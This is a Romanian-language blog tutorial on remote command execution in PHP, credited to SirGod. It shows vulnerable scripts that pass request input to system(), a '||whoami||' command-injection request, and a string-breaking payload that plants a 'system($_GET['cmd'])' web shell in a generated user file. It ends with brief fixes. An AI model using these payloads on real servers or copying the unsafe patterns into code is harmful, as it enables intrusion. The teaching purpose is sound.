Vulnerabilitati PHP – Remote Command Execution - Securitatea Informatica

Vulnerabilitati PHP – Remote Command Execution

Sfaturi : Dacă un script foloseşte exec() nu vom putea vedea rezultatul comenzii (dar comanda este executată) până când rezultatul nu este printat din script. Putem folosii operatorul OR ( || ) dacă scriptul execută mai mult de o comandă. În PHP există câteva comenzi prin intermediul cărora putem executa comenzi:

exec — Execută un program extern
passthru — Execută un program extern şi afişează rezultatul neprelucrat
shell_exec — Execută comanda în shell şi returnează rezultatul întreg ca un string
system — Execută un program extern şi afişează rezultatul

Exemplu de bază

Cod:

<?php
$cmd=$_GET['cmd'];
system($cmd);
?>

Dacă facem următoarea cerere:

http://127.0.0.1/test.php?cmd=whoami

comanda va fi executată şi rezultatul va fi afişat.

Exemplu simplu

Cod:

<?php
$status = $_GET['status'];
$ns = $_GET['ns'];
$host = $_GET['host'];
$query_type = $_GET['query_type']; // ANY, MX, A , etc.
$ip = $_SERVER['REMOTE_ADDR'];
$self = $_SERVER['PHP_SELF'];
//........................ etc ........................
$host = trim($host);
$host = strtolower($host);
echo("<span class="plainBlue"><b>Executing : <u>dig @$ns $host $query_type</u></b>");
echo '<pre>';
system ("dig @$ns $host $query_type");
?>

Variabila “ns” nu este filtrată şi atacatorul poate specifica orice valoare. Un atacator poate folosi orice comanda prin intermediul acestei variabile. Să facem o cerere:

http://127.0.0.1/dig.php?ns=whoam&host=sirgod.net&query_type=NS&status=digging

Injecţia nu va funcţiona. De ce? Comanda executată va fi “dig whoami sirgod.com NS” şi nu va funcţiona desigur. Să încercăm în alt fel. Avem operatorul OR (||) şi îl vom folosi pentru a “separa” comenzile. Exemplu :

http://127.0.0.1/dig.php?ns=||whoami||&host=sirgod.net&query_type=NS&status=digging

Comanda noastră va fi executată. Comanda va devenii “dig ||whoami|| sirgod.net NS” .

Exemplu avansat

Cod:

<?php
$user = $_POST['user'];
$pass1 = $_POST['pass1'];
$pass2 = $_POST['pass2'];
$email1 = $_POST['email1'];
$email2 = $_POST['email2'];
$location = $_POST['location'];
$url = $_POST['url'];
$filename = "./sites/".$user.".php";
//...................etc......................
$html = "< ?php
\$regdate = \"$date\";
\$user = \"$user\";
\$pass = \"$pass1\";
\$email = \"$email1\";
\$location = \"$location\";
\$url = \"$url\";
?>";
$fp = fopen($filename, 'a+');
fputs($fp, $html) or die("Could not open file!");
?>

Putem observa că scriptul crează un fişier php în folderul “sites” (numelenostru.php) . Scriptul salvează toate datele userului în fişierul acela deci noi vom putea injecta codul maliţios într-una din acele varaibile. Eu am ales variabila “location”. Dacă ne vom înregistra ca un user cu locaţia (setam valoarea variabilei “location”):

Cod:

<?php
system($_GET['cmd']);
?>

codul aflat în /site/numelenostru.php va devenii:

Cod:

<?php
$regdate = "13 June 2009, 4:16 PM";
$user = "pwned";
$pass = "pwned";
$email = "pwned@yahoo.com";
$location = "";
$url = "http://google.ro";
?>

Şi vom primii o eroare. Nu e bine. Trebuie să injectăm un cod corespunzător pentru a primii ceea ce vrem. Să injectăm următorul cod:

Cod:

";?>< ?php system($_GET['cmd']);?>< ?php $xxx=":D

Şi codul aflat în sites/numelenostru.php va devenii:

Cod:

<?php
$regdate = "13 June 2009, 4:16 PM";
$user = "pwned";
$pass = "pwned";
$email = "pwned@yahoo.com";
$location = "";?><?php system($_GET['cmd']);?><?php $xxx=":D";
$url = "http://google.ro";
?>

şi nu vom avea nici o eroare. De ce? Observaţi codul:

Cod:

$location = "";?>< ?php system($_GET['cmd']);?>< ?php $xxx=":D";
..

Să-l împărţim în bucăţi:

Cod:

$location = "";
?>
<?php system($_GET['cmd']);?>
<?php $xxx=":D";

Setăm variabilei “location valoarea “”(nimic), închidem primele taguri php, deschidem tagurile php din nou, scriem codul nostru maliţios, închidem tagurile şi deschidem altele şi adăugăm o variabilă “xxx” pentru a termina frumos codul şi a nu avea vreo eroare. Am folosit acest cod pentru a nu primii nici o eroare, el putea fi mai simplu, dar ar fi apărut nişte erori şi mai bine l-am mai complicat puţin. Şi dacă facem următoarea cerere:

http://127.0.0.1/sites/ourusername.php?cmd=whoami

comanda noastră va fi executată cu succes.

Cum să fixezi


Metoda simplă : Nu permiteţi accesul utilizatorilor.
Alta metodă : Utilizaţi funcţiile escapeshellarg() şi escapeshellcmd() .

Sursa: SirGod

Twitter Digg Delicious Stumbleupon Technorati Facebook


Un raspuns la “Vulnerabilitati PHP – Remote Command Execution”

  1. Foarte frumos si util articol, felicitari!

Lasa un raspuns

This site is protected by Comment SPAM Wiper. This site is protected by WP-CopyRightPro